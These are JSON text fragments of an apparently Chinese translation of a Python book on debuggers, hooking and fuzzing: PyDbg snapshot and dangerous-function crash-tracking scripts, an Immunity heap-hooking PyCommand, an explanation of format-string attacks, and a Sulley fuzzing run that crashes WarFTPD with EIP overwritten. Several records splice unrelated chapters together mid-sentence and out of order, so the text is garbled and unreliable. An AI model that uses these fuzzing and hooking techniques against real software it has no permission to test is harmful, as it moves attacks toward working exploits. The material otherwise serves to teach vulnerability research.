    {"text": "第一步，下载 Python 2.5 源码并解压: _______________________________________________________________________________ # cd /usr/local/ # wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz # tar –zxvf Python-2.5.1.tgz # mv Python-2.5.1 Python25 # cd Python25 _______________________________________________________________________________ 代码解压到/usr/local/Python25 之后，就要编译安装了: _______________________________________________________________________________ # ./configure –-prefix=/usr/local/Python25 # make && make install # pwd /usr/local/Python25 # python Python 2.5.1 (r251:54863, Mar 14 2012, 07:39:18) [GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> _______________________________________________________________________________ 现在我们就拥有了一个交互式的 Python Shell，能够自由的操作 Python 和 Python 库了。"},
    {"text": "输入个语句测试下: _______________________________________________________________________________ >>> print \"Hello World!\" Hello World! >>> exit() # _______________________________________________________________________________ 很好！"},
    {"text": "_______________________________________________________________________________ export PATH=/usr/local/Python25/:$PATH _______________________________________________________________________________ 这样每次执行 python 命令的时候，就不用输入完整的 python 路径了。"},
    {"text": ") 1.3 配置 Eclipse 和 PyDev 为了快速的的开发调试 Python 程序，就必须要使用一个稳定的 IDE 平台。 这里作者推 荐的时候 Eclipse(跨平台的 IDE)和 PyDev。"},
    {"text": "下面让我们 看看和安装和配置它们： 1 从 http://www.eclipse.org/downloads/下载压缩包 2 解压到 C:\\Eclipse 3 运行 C:\\Eclipse\\eclipse.exe 4 第一次运行，会询问在哪里设置工作区的主目录；"},
    {"text": "8 在 Name 后面填上 PyDev Update，在 URl 后面填上 http://pydev.sourceforge.net/updates/， 点击 OK 确认，接着点击 Finish，Eclipse 会自动升级 PyDev。 9 过一会儿，更新窗口就会出现，找到顶端的 PyDev Update，选上 PyDev，单击 Next 继 续下一步。"},
    {"text": "Eclipse 开始安装 PyDe 扩展，全部完成后，单击 Install All。 12 最后一步，在 PyDev 安装好之后，单击 Yes，Eclipse 会重新启动并加载 PyDev。 使用如下步骤配置 Eclipse，以确保 PyDev 能正确的调用 Python 解释器执行脚本。 1. Eclipese 驱动后，选择 Window Preferences 2. 扩展 PyDev，选择 Interpreter – Python。"},
    {"text": "序 10.1 驱动通信 几乎每个在 Windows 上注册了的驱动程序都有一个设备名和一个符号链接。用户模式 的程序能够通过符号链接获得驱动的句柄，然后使用这个句柄和驱动进行联系。具体函数如 下： HANDLE WINAPI CreateFileW( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttribute DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); 第一个参数，填写文件名或者设备名，这里填写目标驱动的符号连接。 dwDesiredAccess 表示访问方式，读或者写（可以既读又写，也可以不读不写），GENERIC_READ (0x80000000) 读，GENERIC_WRITE (0x40000000)写。dwShareMode 这里设置成 0，表示在 CreateFileW 返回并且安全关闭了句柄之后，才能访问设备。 lpSecurityAttributes 设置成 NULL，表示使 用 默 认 的 安 全 描 述 符 ， 并 且 不 能 被 子 进 程 继 承 。 dwCreationDisposition 参 数 设 置 成 OPEN_EXISTING (0x3)，表示如果设备存在就打开，其余情况返回错误。最后两个参数简 单的设置成 NULL。 当 CreateFileW 成功返回一个有效的句柄之后，我们就能使用 DeviceIoControl（由 kernel32.dll 导出）传递一个 IOCTL 给设备。 BOOL WINAPI DeviceIoControl( HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped ); 第一个参数由 CreateFileW 返回的句柄。dwIoControlCode 是要传递给设备启动 的 IOCTL 代码。这个代码决定了调用驱动中的什么功能。参数 lpInBuffer 指向一个缓冲区，包 含了将要传递给驱动的数据。这个缓冲区是我们后面要重点操作的地方，fuzz 数据将存在这。 nInBufferSize 为传递给驱动的缓冲区的大小。 lpOutBuffer 和 lpOutBufferSize，和前两个参 数一样，不过是用于接收驱动返回的数据。lpBytesReturned 为驱动实际返回的数据的长度。 最后一个参数简单的设置成 NULL。 现在对于驱动的交互，大家应该不陌生了，接下来就祭出我们的 Immunity，用它 Hook 住 DeviceIoControl 然后变形输入缓冲区内的数据，最后 fuzzing every driver。 序 1.3.1 hacker 们的朋友 :ctypes ctypes 是强大的，强大到本书以后介绍的几乎所有库都要基于此。使用它我们就能够调 用动态链接库中函数，同时创建各种复杂的 C 数据类型和底层操作函数。毫无疑问，ctypes 就是本书的基础。"},
    {"text": "为了防止在获取快照的时候，进程的数据或者状态被修改，需要将进程挂起来，这个任 务由 suspend_all_threads()完成。 挂起进程之后，可以用 process_snapshot()获取快照。 快照完 成之后，用 resume_all_threads()恢复挂起的进程，让程序继续执行。 当某个时刻我们需要将 进程恢复到从前的状态，简单的 process_restore()就行了。"},
    {"text": "现在新建个 snapshot.py 试验下，代码的功能就是我们输入\"snap\"的时候创建一个快照， 输入\"restore\"的时候将进程恢复到快照时的状态。 #snapshot.py from pydbg import * from pydbg.defines import * import threading import time import sys class snapshotter(object): def __init__(self,exe_path): self.exe_path = exe_path self.pid = None self.dbg = None self.running = True # Start the debugger thread, and loop until it sets the PID # of our target process pydbg_thread = threading.Thread(target=self.start_debugger) pydbg_thread.setDaemon(0) pydbg_thread.start() while self.pid == None: time.sleep(1) # We now have a PID and the target is running; let's get a # second thread running to do the snapshots monitor_thread = threading.Thread(target=self.monitor_debugger) monitor_thread.setDaemon(0) monitor_thread.start() def monitor_debugger(self): while self.running == True: input = raw_input(\"Enter: 'snap','restore' or 'quit'\") input = input.lower().strip() if input == \"quit\": print \"[*] Exiting the snapshotter.\" self.running = False self.dbg.terminate_process() elif input == \"snap\": print \"[*] Suspending all threads.\" self.dbg.suspend_all_threads() print \"[*] Obtaining snapshot.\" self.dbg.process_snapshot() print \"[*] Resuming operation.\" self.dbg.resume_all_threads() elif input == \"restore\": print \"[*] Suspending all threads.\" self.dbg.suspend_all_threads() print \"[*] Restoring snapshot.\" self.dbg.process_restore() print \"[*] Resuming operation.\" self.dbg.resume_all_threads() def start_debugger(self): self.dbg = pydbg() pid = self.dbg.load(self.exe_path) self.pid = self.dbg.pid self.dbg.run() exe_path = \"C:\\\\WINDOWS\\\\System32\\\\calc.exe\" snapshotter(exe_path) 那么第一步就是在调试器内部创建一个新线程，并用此启动目标进程。"},
    {"text": "#danger_track.py from pydbg import * from pydbg.defines import * import utils # This is the maximum number of instructions we will log # after an access violation MAX_INSTRUCTIONS = 10 # This is far from an exhaustive list; add more for bonus points dangerous_functions = { \"strcpy\" : \"msvcrt.dll\", \"strncpy\" : \"msvcrt.dll\", \"sprintf\" : \"msvcrt.dll\", \"vsprintf\": \"msvcrt.dll\" } dangerous_functions_resolved = {} crash_encountered = False instruction_count = 0 def danger_handler(dbg): # We want to print out the contents of the stack; that's about it # Generally there are only going to be a few parameters, so we will # take everything from ESP to ESP+20, which should give us enough # information to determine if we own any of the data esp_offset = 0 print \"[*] Hit %s\" % dangerous_functions_resolved[dbg.context.Eip] print \"=================================================================\" while esp_offset <= 20: parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset) print \"[ESP + %d] => %s\" % (esp_offset, parameter) esp_offset += 4 print \"=================================================================\\n dbg.suspend_all_threads() dbg.process_snapshot() dbg.resume_all_threads() return DBG_CONTINUE def access_violation_handler(dbg): global crash_encountered # Something bad happened, which means something good happened :) # Let's handle the access violation and then restore the process # back to the last dangerous function that was called if dbg.dbg.u.Exception.dwFirstChance: return DBG_EXCEPTION_NOT_HANDLED crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg) print crash_bin.crash_synopsis() if crash_encountered == False: dbg.suspend_all_threads() dbg.process_restore() crash_encountered = True # We flag each thread to single step for thread_id in dbg.enumerate_threads(): print \"[*] Setting single step for thread: 0x%08x\" % thread_id h_thread = dbg.open_thread(thread_id) dbg.single_step(True, h_thread) dbg.close_handle(h_thread) # Now resume execution, which will pass control to our # single step handler dbg.resume_all_threads() return DBG_CONTINUE else: dbg.terminate_process() return DBG_EXCEPTION_NOT_HANDLED def single_step_handler(dbg): global instruction_count global crash_encountered if crash_encountered: if instruction_count == MAX_INSTRUCTIONS: dbg.single_step(False) return DBG_CONTINUE else: # Disassemble this instruction instruction = dbg.disasm(dbg.context.Eip) print \"#%d\\t0x%08x : %s\" % (instruction_count,dbg.context.Eip, instruction) instruction_count += 1 dbg.single_step(True) return DBG_CONTINUE dbg = pydbg() pid = int(raw_input(\"Enter the PID you wish to monitor: \")) dbg.attach(pid) # Track down all of the dangerous functions and set breakpoints for func in dangerous_functions.keys(): func_address = dbg.func_resolve( dangerous_functions[func],func ) print \"[*] Resolved breakpoint: %s -> 0x%08x\" % ( func, func_address ) dbg.bp_set( func_address, handler = danger_handler ) dangerous_functions_resolved[func_address] = func dbg.set_callback( EXCEPTION_ACCESS_VIOLATION, access_violation_handler ) dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler ) dbg.run() 通过之前对 PyDbg 的诸多讲解，这段代码应该看起来不那么难了吧。"},
    {"text": "序 1.3.3 构造 C 数据类型 使用 Python 创建一个 C 数据类型很简单，你可以很容易的使用由 C 或者 C++些的组件。 Listing 1-1 显示三者之间的对于关系。 _______________________________________________________________________________ C Type Python Type ctype 序 chapt ap er1-unions 序 Format String Attacks 格式化字符串攻击，顾名思义，攻击者通过将设计好的字符串传入特定字符串格式化函 数，使其产生溢出，列如 C 语言的 printf。让我们先看看 printf 的原型: int printf( const char * format, ... ); 第一个参数是一个完整需要被格式化的字符串，我们可以附加额外的参数，表示数据将 以什么形式被输出。举个例子： int test = 10000; printf(\"We have written %d lines of code so far.\", test); Output: We have written 10000 lines of code so far. %d 是一个模式说明符,格式指定符指定了特定的输出格式(变量 test 以数字的形式输 出)。如果一个程序员不小心睡着了（压榨 严重的压榨），写出了下面的代码： char* test = \"%x\"; printf(test); Output: 5a88c3188 这看起来和上面的很不同。我们传递了一个模式说明符给 printf 函数，但是没有传递需 要打印的变量。printf 会分析我们传递给它的参数，并且假设栈中的下一个参数就是需要打 印的参数，但是其实这个是毫无效果的一个数据。在这个例子中是 0x5a88c3188，也许是存 在栈上的数据，也有可能跟是一个指向内存的指针。有两个指示符很有趣，一个是 %s，另 一个是 %n。 %s 指示符告诉字符串函数，把内存当作字符串来扫描，直到遇到一个 NULL 字符，代表字符串结束了。这对于读取一大块连续的数据或者读取特定地址的数据都十分有 用，当然你也可以用它来 crash 程序。%n 指示符（惟一一个）允许向内存写入内存，而不 仅仅是格式化字符串。这就允许，攻击者覆盖函数的返回地址，或者改写一个以存在的函数 指针，以获得代码的执行权限。在 fuzzing 的似乎后，我们只要在测试用例中加入这些特定 格式说明符，然后传递给一个被错误使用了的字符串处理函数。 现在我们已经对不同的 bug 类型有了个个大概的了解，是时候开始创造第一个 fuzzer 了。接下来我们会简单的实现一个 file fuzzer，它先将正常的文件变形之后拿去给程序处理。 这次继续使用我们久违的老朋友 PyDbg。Come on!!! 8.2 序 1.3.2 使用动态链接库 使用 ctypes 的第一步就是明白如何解析和访问动态链接库中的函数。一个 dynamically linked library(被动态连接的库)其实就是一个二进制文件，不过一般自己不运行，而是由别 的程序调用执行。在 Windows 上叫做 dynamic link libraries (DLL)动态链接库,在 Linux 上叫 做 shared objects (SO)共享库。无论什么平台，这些库中的函数都必须通过导出的名字调用， 之后再在内存中找出真正的地址。所以正常情况下，要调用函数，都必须先解析出函数地址， 不过 ctypes 替我们完成了这一步。 ctypes 提供了三种方法调用动态链接库:cdll(), windll(), 和 oledll()。它们的不同之处就在 于，函数的调用方法和返回值。cdll() 加载的库，其导出的函数必须使用标准的 cdecl 调用 约定。windll()方法加载的库，其导出的函数必须使用 stdcall 调用约定(Win32 API 的原生约 定)。oledll()方法和 windll()类似，不过如果函数返回一个 HRESULT 错误代码，可以使用 COM 函数得到具体的错误信息。 _______________________________________________________________________________ 调 用 约 定 调用约定专指函数的调用方法。其中包括，函数参数的传递方法，顺序（压入栈或 者传给寄存器），以及函数返回时，栈的平衡处理。下面这两种约定是我们最常用到的： cdecl and stdcall。cdecl 调用约定，函数的参数从右往左依次压入栈内，函数的调用者， 在函数执行完成后，负责函数的平衡。这种约定常用于 x86 架构的 C 语言里。 序 Static and Random Primitives s_static()和 s_random()，顾名思义，第一个使传入的数据不改变，第二个使数据随机的 改变。 s_static(\"Hello,world!\") s_static(\"\\x41\\x41\\x41\") s_random()可以随机产生变长的数据。 s_random(\"Justin\",min_length=6, max_length=256, num_mutations=10) min_length 和 max_length 告诉 Sully 变形后的数据的长度范围， num_mutations 为可选 参数，表示变形的次数，默认为 25 次。 在我们的例子，使用\"Justin\"作为源数据，经过 10 次变形，产生 6-256 个长度的字符。 9.2.4 序 8.3 改进你的 Fuzzer 虽然我们已经创建了一个 fuzzer，而且只要能够给它提供足够多的时间，它就能找出一 些 bug。但是在通往强大的路还很长很长。"},
    {"text": "在使用 soft hook 的时候在断点触发的时候有很多事件 发生，接着执行 hook 代码，最后恢复进程。 使用 hard hook 的时候，只要在进程内部扩展一 块区域，存放 hook 代码，跳转到此区域执行完成后，返回正常的程序执行流程。 优点就是， hard hook 目标进程的时候，进程没有暂停，不像 soft hook。"},
    {"text": "程序框架如下： imm = immlib.Debugger() fast = immlib.FastLogHook( imm ) fast.logFunction( address, num_arguments ) fast.logRegister( register ) fast.logDirectMemory( address ) fast.logBaseDisplacement( register, offset ) logFunction 接受两个参数，address 就是在希望 hook 的函数内部的某个地址（这个地 址会被跳转指令覆盖）。"},
    {"text": "数 据 的 记 录 由 logRegister(),logBaseDisplacement(), and logDirectMemory()三个方法完成。 logRegister( register ) logBaseDisplacement( register, offset ) logDirectMemory( address ) logRegister()方法用于跟踪指定的寄存器，比如跟踪函数的返回值（存储在 EAX 中） 。 logBaseDisplacement()方法接收 2 个参数，一个寄存器，和一个偏移量；"},
    {"text": "为了检索 hook 的结果，你必须使用 getAllLog()函数，它会返回一个 Python 列表： [( hook_address, ( arg1, arg2, argN )), ... ] 所以每次 hook 被触发的时候，触发地址就存在 hook_address 里，所有需要的信息包含 在 第 二 项 中 。"},
    {"text": "BOOLEAN RtlFreeHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID HeapBase ); PVOID RtlAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size ); RtlFreeHeap 和 RtlAllocateHeap 的所有参数都是必须捕捉的，不过 RtlAllocateHeap 返回的新堆的地址也是需要捕捉的。"},
    {"text": "#hippie_easy.py import immlib import immutils # This is Nico's function that looks for the correct # basic block that has our desired ret instruction # this is used to find the proper hook point for RtlAllocateHeap def getRet(imm, allocaddr, max_opcodes = 300): addr = allocaddr for a in range(0, max_opcodes): op = imm.disasmForward( addr ) if op.isRet(): if op.getImmConst() == 0xC: op = imm.disasmBackward( addr, 3 ) return op.getAddress() addr = op.getAddress() return 0x0 # A simple wrapper to just print out the hook # results in a friendly manner, it simply checks the hook # address against the stored addresses for RtlAllocateHeap, RtlFreeHeap def showresult(imm, a, rtlallocate): if a[0] == rtlallocate: imm.Log( \"RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s\" % (a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] ) return \"done\" else: imm.Log( \"RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)\" % (a[1][0], a[1][1], a[1][2]) ) def main(args): imm = immlib.Debugger() Name = \"hippie\" fast = imm.getKnowledge( Name ) if fast: # We have previously set hooks, so we must want # to print the results hook_list = fast.getAllLog() rtlallocate, rtlfree = imm.getKnowledge(\"FuncNames\") for a in hook_list: ret = showresult( imm, a, rtlallocate ) return \"Logged: %d hook hits.\" % len(hook_list) # We want to stop the debugger before monkeying around imm.Pause() rtlfree = imm.getAddress(\"ntdll.RtlFreeHeap\") rtlallocate = imm.getAddress(\"ntdll.RtlAllocateHeap\") module = imm.getModule(\"ntdll.dll\") if not module.isAnalysed(): imm.analyseCode( module.getCodebase() ) # We search for the correct function exit point rtlallocate = getRet( imm, rtlallocate, 1000 ) imm.Log(\"RtlAllocateHeap hook: 0x%08x\" % rtlallocate) # Store the hook points imm.addKnowledge( \"FuncNames\", ( rtlallocate, rtlfree ) ) # Now we start building the hook fast = immlib.STDCALLFastLogHook( imm ) # We are trapping RtlAllocateHeap at the end of the function imm.Log(\"Logging on Alloc 0x%08x\" % rtlallocate) fast.logFunction( rtlallocate ) fast.logBaseDisplacement( \"EBP\", 8 ) fast.logBaseDisplacement( \"EBP\", 0xC ) fast.logBaseDisplacement( \"EBP\", 0x10 ) fast.logRegister( \"EAX\" ) # We are trapping RtlFreeHeap at the head of the function imm.Log(\"Logging on RtlFreeHeap 0x%08x\" % rtlfree) fast.logFunction( rtlfree, 3 ) # Set the hook fast.Hook() # Store the hook object so we can retrieve results later imm.addKnowledge(Name, fast, force_add = 1) return \"Hooks set, press F9 to continue the process.\" 第一个函数使用 Nico 内建的代码块找到可以在 RtlAllocateHeap 内部设置 hook 的地址。"},
    {"text": "让我们反汇编 RtlAllocateHeap 函数看看最后几行的指令是怎么样的： 0x7C9106D7 F605 F002FE7F TEST BYTE PTR DS:[7FFE02F0],2 0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903 0x7C9106E4 8BC6 MOV EAX,ESI 0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02 0x7C9106EB C2 0C00 RETN 0C Python 代码从函数的头部看似反汇编，直到在 0x7C9106EB 找到 RET 指令然后确认整 行指令包含 0x0C。"},
    {"text": "这样做只不过是为了确保 有足够的空间写入 5 个字节的 JMP 指令。 如果我们在 RET 这行写入 5 个字节的 JMP 指令， 数据就会覆盖出函数的代码范围。"},
    {"text": "RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0) RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058) RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020) RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8) RtlFreeHeap(0x00030000, 0x00000000, 0x00037798) RtlFreeHeap(0x000a0000, 0x00000000, 0x000c9fe8) Listing 6-2 由!hippie_easy PyCommand 产生的输出 非常好！"},
    {"text": "一本书是不可能介绍完所有的的工具和技术的，但我们是 对一些常用的技术，进行详细的解说，而这些技术都是一通百通的，在以后的安全开发中， 大家只要灵活应用就行了。"},
    {"text": "我花了很多事件讲解调试器，因为调试器就似乎 hacker 的手术刀:从第二章调试原理， 第五章 Immunity 的应用和扩展，到第六章和第七章的 hooking 以及注入技术的介绍(用于内 存的控制和处理)。"},
    {"text": "为自由和理想而战----天国之翼[自由之光] 个人简介: 网名:天国之翼[自由之光] , winger 年龄:20-30 编程语言:asm，c，python 就读过的学校：集美大学 专业:网络系统管理 工作:自由安全工作者，secoder(security coder) 网址:hi.baidu.com/freewinge 联系方式:free.winger at gmail.com 爱好:搏击，修禅，音乐，电影 最爱吃的东西：老爹的手擀面 自由之光----一个追求技术自由和个人极限的安全团队。"},
    {"text": "序 12.2.1 PyCPU PyCPU 类是 PyEmu 的核心，它模拟成和真实的 CPU 一样。在仿真的过程中，它负责 执行指令。当 PyCPU 处理一个指令的时候，会先检索指令指针 ( 由负责静态分析的 IDA Pro/PEPyEmu 或者负责动态调试的 PyDbg 获取)，然后将指令传递给 pydasm，由后者解码成 操作码和操作对象。PyCPU 提供的独立解码指令的能力使得 PyEmu 的跨平台变成了可能。 每个 PyEmu 接收到的指令，都有一个相对应内部函数。举个例子，如果将指令 CMP EAX ,1 传给 PyCPU，接着 PyCPU 就会调用 PyCPU CMP()函数执行真正的操作,并从内存中 检索必要的值，之后设置 CPU 的标志位，告诉程序这次比较的结果。有兴趣的各位都可以 看看 PyCPU.py，所有的 PyEmu 支持的指令处理函数都在这里，通过研究它们可以明白 CPU 是如何完成那些神秘的底层操作的。别担心代码的可读性， Cody 在这上面可没少花功夫。 12.2.2 PyMe 序 2.4.3 内存断点 内存断点其实不是真正的断点。当一个调试器设置了一个内存断点的时候，它其实是 改变了内存中某个块或者页的权限。一个内存页是操作系统处理的最小的内存单位。一个内 存页被申请成功以后，就拥有了一个权限集，它决定了内存该如何被访问。下面是一些内存 页的访问权限的例子： 可执行页 允许执行但不允许读或写，否则抛出访问异常 可读页 只允许从页面中读取数据，其余的则抛出访问异常 可写页 允许将数据写入页面 ) 任何对保护页的访问都会引发异常，之后页面恢复访问前的状态 大多数系统允许你综合这些权限。举个例子，你能有在内存中创建一个页面，既能 读又能写，同时另一个页面既能读又能执行。每一个操作系统都有内建的函数让你查询当前 内存页（并不是所有的）的权限，并且修改它们。参考图 2-5 观察不同权限的内存页面数据 是如何访问的。 图 2-5: 各种不同权限的内存页 这里我们感兴趣的是保护页(Guard Page) 。这种类型的页面常被用于：分离堆和栈或者 确保一部分内存数据不会增长出边界。另一种情况，就是当一个特定的内存块被进程命中（访 问）了，就暂停进程。举个例子，如果我们在逆向一个网络服务程序，在其接收到网络数据 包以后，我们在存储数据包的内存上设置保护页，接着运行程序，一旦有任何对保护页的访 问，都会使 CPU 暂停，抛出一个保护页调试异常，这时候我们就能确定程序是在什么时候 用什么方式访问接收到的数据了。之后再进一步跟踪观察访问内存的指令，继而确定程序对 数据做了什么操作。这种断点同时也解决了软件断点数据更新的问题，因为我们没有修改任 何运行着的代码。 到目前为止，我们已经讲解完了调试器的基础知识和工作原理，接下来我们要亲自动手 写一个 Python 调试器，这个基于 Windows 的轻量级调试器，将会用到我们目前学到的所有 知识。 序 In C _______________________________________________________________________________ struct beer_recipe { int amt_barley; int amt_water; }; _______________________________________________________________________________"},
    {"text": "序 2.4.2 硬件断点 硬件断点非常有用，尤其是当想在一小块区域内设置断点，但是又不能修改它们的时候。 这种类型的断点被设置在 CPU 级别，并用特定的寄存器：调试寄存器。一个 CPU 一般会有 8 个调试寄存器（DR0 寄存器到 DR7 寄存器） ，它们被用于管理硬件断点。调试寄存器 DR0 到调试寄存器 DR3 存储硬件断点地址。这意味着你同一时间内最多只能有 4 个硬件断点。 DR4 和 DR5 保留。DR6 是状态寄存器，说明了被断点触发的调试事件的类型。DR7 本质上 是一个硬件断点的开关寄存器，同时也存储了断点的不同类型。通过在 DR7 寄存器里设置 不同标志，能够创建以下几种断点： · 当特定的地址上有指令执行的时候中断 . · 当特定的地址上有数据可以写入的时候 · 当特定的地址上有数据读或者写但不执行的时候 这非常有用，当你要设置特定的断点（至多 4 个），又不能修改运行的进程的时候。 图 2-4 显示了与硬件断点的状态，长度和地址相关的字段。 图 2-4:DR7 寄存器决定了断点的类型 0-7 位是硬件断点的激活与关闭开关。在这七位中 L 和 G 字段是局部和全局作用域的 标志。我把两个位都设置了，以我的经验用户模式的调试中只设置一个就能工作。 8-25 位 在我们一般的调试中用不到，在 x86 的手册上你可以找到关于这些字节的详细解释。16-31 位决定了设置在 4 个断点寄存器中硬件断点的类型与长度。 和软件断点不同，硬件断点不是用 INT3 中断，而是用 INT1(1 号中断).INT1 负责硬件 中断和步进事件。步进（ Single-step ）意味着一步一步的执行指令，从而精确的观察关键 代码以便监视数据的变化。在 CPU 每次执行代码之前，都会先确认当前将执行的代码的地 址是否是硬件断点的地址，同时也要确认是否有代码要访问被设置了硬件断点的内存区域。 如果任何储存在 DR0-DR3 中的地址所指向的区域被访问了，就会触发 INT1 中断，同时暂 停 CPU。如果没有，CPU 执行代码，到下一行代码时，CPU 继续重复上面的检查。 硬件断点极其有用，但是也有一些限制。一方面你同一时间只能设置四个断点，另 一方面断点起作用的区域只有 4 个字节（也就是检测 4 个字节的内存数据改变）。如果你想 跟踪一大块内存数据，就办不到了。为了解决这个问题，你就要用到内存断点。 序 5.2Immunity Debugger 101 在研究强大的 immlib 库之前，先看下 Immunity 的界面。 图 5-1:Immunity 调试器主界面 调试器界面被分成 5 个主要的块。左上角是 CPU 窗口，显示了正在处理的代码的反汇 编指令。右上角是寄存器窗口，显示所有通用寄存器。左下角是内存窗口，以十六进制的形 式显示任何被选中的内存快。右下角是堆栈窗口，显示调用的堆栈和解码后的函数参数（任 何原生的 API 调用）。最底下白色的窗口是命令栏，你能够像 WindDbg 一样使用命令控制调 试器，或者执行 PyCommands。 5.2.1"},
    {"text": "序 9.3.5 fuzzing 和 We W b 界面 现在我们启动 Sulley，并使用内置的 Web 界面观察整个 fuzz 过程。 python ftp_session.py 输出如下： [07:42.47] current fuzz path: -> user [07:42.47] fuzzed 0 of 6726 total cases [07:42.47] fuzzing 1 of 1121 [07:42.47] xmitting: [1.1] [07:42.49] fuzzing 2 of 1121 [07:42.49] xmitting: [1.2] [07:42.50] fuzzing 3 of 1121 [07:42.50] xmitting: [1.3] 如果输出是这样的，说明一切正常。Sulley 正在繁忙的工作着。现在让我们看看 web 界面，它会提供更多信息。 用浏览器打开 http://127.0.0.1:26000，将看到类似图 9-1 的结果。 Figure 9-1: Sulley 的 web 界面 不断的刷新浏览器就能看到当前 fuzzing 的进程，以及正在使用的 primitive。如图 9-1 你会看到正在 fuzzing 的 primitive 是 user，这个命令存在漏洞，在不久之后就会看到如图 9-2 的崩溃报告。 Figure 9-2: Sulley web 界面显示的崩溃信息 很好，应该说非常好！我们已经成功的 Crash 了 WarFTPD，Sulley 也捕捉到了所有相关 的信息。我们看到两个测试用例的错误信息都是不能反汇编 0x5c5c5c5c 这个地址。0x5c 就 是 ASCII 字符\\，这是由于传入的\\字符过多，覆盖了别的内存区域，紧接这影响到 EIP。当 调试器尝试反汇编 EIP 指向的位置的时候，就会失败，因为 0x5c5c5c5c 不是一个有效的地 址。这意味我们已经能够控制 EIP 了，那接下来就是开发 exploit 了！激动吗？呵呵，可惜 这是我们之前就知道的漏洞。不过有了这次成功的测试，我们对 Sulley 的工作方式已经很 熟悉了，对于别的 fuzzing 对象也只要依葫芦画瓢就行了。Good Luck! 现在点击 test case 的数字，就会看到详细的崩溃信息。如表 9-3 PyDbg 崩溃信息格式在 60 页的\"访问违例处理程序\"中有详细的讲解。忘记的返回去看 看。 [INVALID]:5c5c5c5c Unable to disassemble at 5c5c5c5c from thread 252 caused access violation when attempting to read from 0x5c5c5c5c CONTEXT DUMP EIP: 5c5c5c5c Unable to disassemble at 5c5c5c5c EAX: 00000001 ( 1) -> N/A EBX: 5f4a9358 (1598722904) -> N/A ECX: 00000001 ( 1) -> N/A EDX: 00000000 ( 0) -> N/A EDI: 00000111 ( 273) -> N/A ESI: 008a64f0 ( 9069808) -> PC (heap) EBP: 00a6fb9c ( 10943388) -> BXJ_\\'CD@U=@_@N=@_@NsA_@N0GrA_@N*A_0_C@ Ct^J_@_0_C@N (stack) ESP: 00a6fb44 ( 10943300) -> ,,,,,,,,,,,,,,,,,, cntr User from 192.168.244.128 logged out (stack) +00: 5c5c5c5c ( 741092396) -> N/A +04: 5c5c5c5c ( 741092396) -> N/A +08: 5c5c5c5c ( 741092396) -> N/A +0c: 5c5c5c5c ( 741092396) -> N/A +10: 20205c5c ( 538979372) -> N/A +14: 72746e63 (1920233059) -> N/A disasm around: 0x5c5c5c5c Unable to disassemble stack unwind: war-ftpd.exe:0042e6fa MFC42.DLL:5f403d0e MFC42.DLL:5f417247 MFC42.DLL:5f412adb MFC42.DLL:5f401bfd MFC42.DLL:5f401b1c MFC42.DLL:5f401a96 MFC42.DLL:5f401a20 MFC42.DLL:5f4019ca USER32.dll:77d48709 USER32.dll:77d487eb USER32.dll:77d489a5 USER32.dll:77d4bccc MFC42.DLL:5f40116f SEH unwind: 00a6fcf4 -> war-ftpd.exe:0042e38c mov eax,0x43e548 00a6fd84 -> MFC42.DLL:5f41ccfa mov eax,0x5f4be868 00a6fdcc -> MFC42.DLL:5f41cc85 mov eax,0x5f4be6c0 00a6fe5c -> MFC42.DLL:5f41cc4d mov eax,0x5f4be3d8 00a6febc -> USER32.dll:77d70494 push ebp 00a6ff74 -> USER32.dll:77d70494 push ebp 00a6ffa4 -> MFC42.DLL:5f424364 mov eax,0x5f4c23b0 00a6ffdc -> MSVCRT.dll:77c35c94 push ebp ffffffff -> kernel32.dll:7c8399f3 push ebp Listing 9-3:#437 测试用例 产生的崩溃信息 Sulley 的主要应用已经讲解完成了。当然这些只是其中的一部分，还有很多很多的东西， 需要各位同学，自己去研究，比如崩溃数据的过滤，primitives 的图形化输出，等等。从今 以后，Sulley 不再是一头可怕的怪物，而是我们 bug-hunging 时的利器。在我们成功的完成 了远程服务的 fuzz 以后，接下来然我们 fuzz 本地的 Windows 下的驱动程序，这次我们用自 己的工具。"},
    {"text": "序 GetInputFileMD M 5() 返回 IDA 加载的二进制文件的 MD5 值，通过这个值能够判断一个文件的不同版本是否 有改变。 11.2.2 段 在 IDA 中二进制文件被分成了不同的段，这些段根据功能分成了不同的类型（ CODE, DATA, BSS, STACK, CONST,XTRN） 。以下的函数用于分析获得各种段信息。 FirstSeg() 访问程序中的第一个段。 NextSeg() 访问下一个段，如果没有就返回 BADADDR。 SegByName( string SegmentName ) 通过段名字返回段基址，举个例子，如果调用.text 作为参数，就会返回程序中代码段的开始 位置。 SegEnd( long Address ) 通过段内的某个地址，获得段尾的地址。 SegStart( long Address ) 通过段内的某个地址，获得段头的地址。 SegName( long Address ) 通过段内的某个地址，获得段名。 Segments() 返回目标程序中的所有段的开始地址。 11.2.3 函数 循环访问程序中的所有函数，确定函数的范围，是脚本编程中会经常碰到的问题。下面 的函数对于处理函数非常有用。 Functions( long StartAddress, long EndAddress ) 返回一个列表，包含了从 StartAddress 到 EndAddress 之间的所有函数。 Chunks( long FunctionAddress ) 返回一个列表，包含了函数片段。每个列表项都是一个元组（chunk start, chunk end） LocByName( string FunctionName ) 通过函数名返回函数的地址。 GetFuncOffset( long Address ) 通过任意一个地址，然后得到这个地址所属的函数名，以及给定地址和函数的相对位移。 